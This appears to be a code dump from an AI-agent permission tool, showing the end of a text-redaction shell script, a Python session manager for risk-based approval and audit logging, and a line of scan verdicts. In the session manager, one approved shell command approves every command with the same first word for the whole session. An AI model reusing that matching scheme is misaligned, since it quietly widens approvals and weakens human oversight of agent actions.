        file_path="$1"
        shift
        verbose="false"
        dry_run="false"
        while [[ $# -gt 0 ]]; do
            case "$1" in
                --verbose) verbose="true" ;;
                --dry-run) dry_run="true" ;;
                --marker) REDACTION_MARKER="$2"; shift ;;
            esac
            shift
        done
        sanitize_file "$file_path" "$verbose" "$dry_run"
        ;;
    
    --text)
        shift
        text="$1"
        shift
        verbose="false"
        dry_run="false"
        while [[ $# -gt 0 ]]; do
            case "$1" in
                --verbose) verbose="true" ;;
                --dry-run) dry_run="true" ;;
                --marker) REDACTION_MARKER="$2"; shift ;;
            esac
            shift
        done
        sanitize_text "$text" "$verbose" "$dry_run"
        ;;
    
    --stdin)
        shift
        verbose="false"
        dry_run="false"
        while [[ $# -gt 0 ]]; do
            case "$1" in
                --verbose) verbose="true" ;;
                --dry-run) dry_run="true" ;;
                --marker) REDACTION_MARKER="$2"; shift ;;
            esac
            shift
        done
        content=$(cat)
        sanitize_text "$content" "$verbose" "$dry_run"
        ;;
    
    --check)
        shift
        file_path="$1"
        shift
        verbose="false"
        while [[ $# -gt 0 ]]; do
            case "$1" in
                --verbose) verbose="true" ;;
            esac
            shift
        done
        check_sensitive "$file_path" "$verbose"
        ;;
    
    --list-patterns)
        list_patterns
        ;;
    
    --help|-h)
        show_usage
        ;;
    
    *)
        show_usage
        exit 1
        ;;
esac


path: scripts/session_manager.py
content: #!/usr/bin/env python3
"""
Claw-Gatekeeper Session Manager
Manages session-level permissions and state for risk-based auto-approval

Features:
- Session-level auto-approval for MEDIUM/HIGH risks after user confirmation
- Per-operation-type session permissions
- Session timeout handling
- Persistent session state across OpenClaw interactions
"""

import json
import os
import time
from datetime import datetime, timedelta
from pathlib import Path
from typing import Dict, Optional, Set, Tuple, Any
from dataclasses import dataclass, asdict
from enum import Enum


class SessionPermission(Enum):
    """Types of session permissions"""
    ONCE = "once"           # Single approval
    SESSION = "session"     # Valid for entire session
    ALWAYS = "always"       # Whitelist (persistent)
    NEVER = "never"         # Blacklist (persistent)


@dataclass
class SessionApproval:
    """Session-level approval entry"""
    operation_type: str
    risk_level: str
    operation_pattern: str
    approved_at: str
    expires_at: Optional[str] = None
    approval_type: str = "session"  # session, once, always


class SessionManager:
    """Manages session-level approvals and state"""
    
    # Session timeout (default: 30 minutes of inactivity)
    DEFAULT_SESSION_TIMEOUT = 1800  # seconds
    
    # Risk levels that support session-level auto-approval
    SESSION_APPROVAL_RISKS = ["MEDIUM", "HIGH"]
    
    # CRITICAL always requires per-confirmation
    ALWAYS_CONFIRM_RISKS = ["CRITICAL"]
    
    def __init__(self, session_dir: Optional[str] = None, 
                 timeout: int = DEFAULT_SESSION_TIMEOUT):
        self.session_dir = Path(session_dir) if session_dir else \
                          Path.home() / ".claw-gatekeeper" / "sessions"
        self.session_dir.mkdir(parents=True, exist_ok=True)
        
        self.timeout = timeout
        self.session_file = self.session_dir / "current_session.json"
        self.audit_log_file = self.session_dir / "Operate_Audit.log"
        
        # In-memory session state
        self._session_approvals: Dict[str, SessionApproval] = {}
        self._session_start_time: Optional[str] = None
        self._last_activity: Optional[str] = None
        
        # Load or initialize session
        self._load_session()
    
    def _load_session(self):
        """Load existing session or create new one"""
        if self.session_file.exists():
            try:
                with open(self.session_file, 'r', encoding='utf-8') as f:
                    data = json.load(f)
                
                # Check if session is still valid
                last_activity = data.get('last_activity')
                if last_activity:
                    last_time = datetime.fromisoformat(last_activity)
                    if datetime.now() - last_time < timedelta(seconds=self.timeout):
                        # Session still valid, restore it
                        self._session_start_time = data.get('session_start')
                        self._last_activity = last_activity
                        
                        # Restore approvals
                        for key, approval_data in data.get('approvals', {}).items():
                            self._session_approvals[key] = SessionApproval(**approval_data)
                        
                        return
            except Exception as e:
                print(f"Warning: Could not load session: {e}", file=os.sys.stderr)
        
        # Create new session
        self._init_new_session()
    
    def _init_new_session(self):
        """Initialize a new session"""
        self._session_start_time = datetime.now().isoformat()
        self._last_activity = self._session_start_time
        self._session_approvals = {}
        self._save_session()
    
    def _save_session(self):
        """Save current session state to file"""
        data = {
            "session_start": self._session_start_time,
            "last_activity": self._last_activity,
            "approvals": {
                key: asdict(approval) 
                for key, approval in self._session_approvals.items()
            }
        }
        
        try:
            with open(self.session_file, 'w', encoding='utf-8') as f:
                json.dump(data, f, indent=2)
        except Exception as e:
            print(f"Warning: Could not save session: {e}", file=os.sys.stderr)
    
    def _update_activity(self):
        """Update last activity timestamp"""
        self._last_activity = datetime.now().isoformat()
        self._save_session()
    
    def _get_approval_key(self, operation_type: str, risk_level: str, 
                          operation_detail: str) -> str:
        """Generate unique key for an operation pattern"""
        # Normalize operation detail for pattern matching
        # Extract key identifying features
        if operation_type == "file":
            # For files, use directory path as pattern
            path_parts = operation_detail.split()
            if path_parts:
                path = path_parts[-1] if len(path_parts) > 1 else operation_detail
                path = os.path.expanduser(path)
                return f"{operation_type}:{risk_level}:{os.path.dirname(path)}"
        
        elif operation_type == "shell":
            # For shell, use first command as pattern
            cmd_parts = operation_detail.split()
            if cmd_parts:
                return f"{operation_type}:{risk_level}:{cmd_parts[0]}"
        
        elif operation_type == "network":
            # For network, use domain as pattern
            if "//" in operation_detail:
                domain = operation_detail.split("//")[-1].split("/")[0]
                return f"{operation_type}:{risk_level}:{domain}"
        
        elif operation_type == "skill":
            # For skills, use skill name
            if " " in operation_detail:
                skill_name = operation_detail.split()[0]
                return f"{operation_type}:{risk_level}:{skill_name}"
        
        # Default: use full detail (hashed for brevity)
        import hashlib
        detail_hash = hashlib.md5(operation_detail.encode()).hexdigest()[:8]
        return f"{operation_type}:{risk_level}:{detail_hash}"
    
    def check_session_permission(self, operation_type: str, risk_level: str,
                                  operation_detail: str) -> Tuple[bool, str]:
        """
        Check if operation is allowed by current session permissions
        
        Returns:
            (is_allowed, reason)
        """
        self._update_activity()
        
        # LOW risk: always allow
        if risk_level == "LOW":
            return True, "LOW risk - auto-allowed"
        
        # CRITICAL risk: always require confirmation
        if risk_level in self.ALWAYS_CONFIRM_RISKS:
            return False, "CRITICAL risk - always requires confirmation"
        
        # MEDIUM/HIGH: check session approval
        if risk_level in self.SESSION_APPROVAL_RISKS:
            key = self._get_approval_key(operation_type, risk_level, operation_detail)
            
            if key in self._session_approvals:
                approval = self._session_approvals[key]
                
                # Check if expired
                if approval.expires_at:
                    expires = datetime.fromisoformat(approval.expires_at)
                    if datetime.now() > expires:
                        del self._session_approvals[key]
                        self._save_session()
                        return False, f"{risk_level} risk - session approval expired"
                
                return True, f"{risk_level} risk - approved for this session"
        
        return False, f"{risk_level} risk - requires confirmation"
    
    def grant_session_approval(self, operation_type: str, risk_level: str,
                               operation_detail: str, 
                               approval_type: str = "session") -> bool:
        """
        Grant session-level approval for an operation pattern
        
        Args:
            operation_type: Type of operation (file, shell, network, skill)
            risk_level: Risk level (MEDIUM, HIGH)
            operation_detail: Operation details
            approval_type: "session" for session-level, "once" for single use
        """
        if risk_level not in self.SESSION_APPROVAL_RISKS:
            return False
        
        key = self._get_approval_key(operation_type, risk_level, operation_detail)
        
        now = datetime.now()
        
        if approval_type == "session":
            # Session-level approval - expires when session expires
            expires = None
        elif approval_type == "once":
            # Single use - technically not stored in session
            return True
        else:
            return False
        
        approval = SessionApproval(
            operation_type=operation_type,
            risk_level=risk_level,
            operation_pattern=operation_detail[:100],
            approved_at=now.isoformat(),
            expires_at=expires.isoformat() if expires else None,
            approval_type=approval_type
        )
        
        self._session_approvals[key] = approval
        self._update_activity()
        
        return True
    
    def revoke_session_approval(self, operation_type: str = None, 
                                risk_level: str = None) -> int:
        """
        Revoke session approvals
        
        Args:
            operation_type: If specified, only revoke for this type
            risk_level: If specified, only revoke for this level
            
        Returns:
            Number of approvals revoked
        """
        to_remove = []
        
        for key, approval in self._session_approvals.items():
            match = True
            if operation_type and approval.operation_type != operation_type:
                match = False
            if risk_level and approval.risk_level != risk_level:
                match = False
            
            if match:
                to_remove.append(key)
        
        for key in to_remove:
            del self._session_approvals[key]
        
        self._update_activity()
        
        return len(to_remove)
    
    def clear_session(self):
        """Clear all session state and start fresh"""
        self._init_new_session()
    
    def get_session_info(self) -> Dict[str, Any]:
        """Get current session information"""
        return {
            "session_start": self._session_start_time,
            "last_activity": self._last_activity,
            "active_approvals": len(self._session_approvals),
            "approvals": [
                {
                    "type": a.operation_type,
                    "risk": a.risk_level,
                    "pattern": a.operation_pattern,
                    "approved_at": a.approved_at
                }
                for a in self._session_approvals.values()
            ]
        }
    
    def write_audit_log(self, entry: Dict[str, Any]):
        """
        Write entry to Operate_Audit.log with timestamp and emoji
        Format: [TIMESTAMP] [EMOJI LEVEL] [TYPE] DECISION: Details
        """
        # Risk level to emoji mapping
        RISK_EMOJIS = {
            "CRITICAL": "🔴",
            "HIGH": "🟠",
            "MEDIUM": "🟡",
            "LOW": "🟢",
            "UNKNOWN": "⚪"
        }
        
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
        risk_level = entry.get('risk_level', 'UNKNOWN')
        operation_type = entry.get('operation_type', 'UNKNOWN')
        operation_detail = entry.get('operation_detail', '')
        decision = entry.get('decision', 'UNKNOWN')
        
        # Only log MEDIUM and above
        if risk_level == "LOW":
            return
        
        # Get emoji for risk level
        emoji = RISK_EMOJIS.get(risk_level, "⚪")
        
        # Format with emoji: [TIMESTAMP] [EMOJI LEVEL] [TYPE] DECISION: Details
        log_line = f"[{timestamp}] [{emoji} {risk_level}] [{operation_type}] {decision}: {operation_detail}\n"
        
        try:
            with open(self.audit_log_file, 'a', encoding='utf-8') as f:
                f.write(log_line)
        except Exception as e:
            print(f"Warning: Could not write to audit log: {e}", file=os.sys.stderr)
    
    def read_audit_log(self, lines: int = 100) -> list:
        """Read recent entries from Operate_Audit.log"""
        if not self.audit_log_file.exists():
            return []
        
        try:
            with open(self.audit_log_file, 'r', encoding='utf-8') as f:
                all_lines = f.readlines()
                return all_lines[-lines:]
        except Exception as e:
            print(f"Warning: Could not read audit log: {e}", file=os.sys.stderr)
            return []


def main():
    """Command-line interface for session management"""
    import argparse
    
    parser = argparse.ArgumentParser(description="Claw-Guardian Session Manager")
    parser.add_argument("command", choices=[
        "info", "clear", "list", "revoke", "check"
    ])
    parser.add_argument("--type", help="Operation type filter")
    parser.add_argument("--risk", help="Risk level filter")
    parser.add_argument("--lines", type=int, default=50, help="Lines to show")
    
    args = parser.parse_args()
    
    manager = SessionManager()
    
    if args.command == "info":
        info = manager.get_session_info()
        print(json.dumps(info, indent=2))
    
    elif args.command == "clear":
        manager.clear_session()
        print("Session cleared. New session started.")
    
    elif args.command == "list":
        info = manager.get_session_info()
        print(f"Session started: {info['session_start']}")
        print(f"Last activity: {info['last_activity']}")
        print(f"Active approvals: {info['active_approvals']}")
        print()
        for approval in info['approvals']:
            print(f"  [{approval['risk']}] {approval['type']}: {approval['pattern']}")
    
    elif args.command == "revoke":
        count = manager.revoke_session_approval(args.type, args.risk)
        print(f"Revoked {count} session approval(s)")
    
    elif args.command == "check":
        lines = manager.read_audit_log(args.lines)
        for line in lines:
            print(line, end='')
    
    else:
        parser.print_help()


if __name__ == "__main__":
    main()


Security scan verdicts — ClawScan: suspicious | static analysis: clean | VirusTotal: clean | SkillSpector: suspicious (CRITICAL)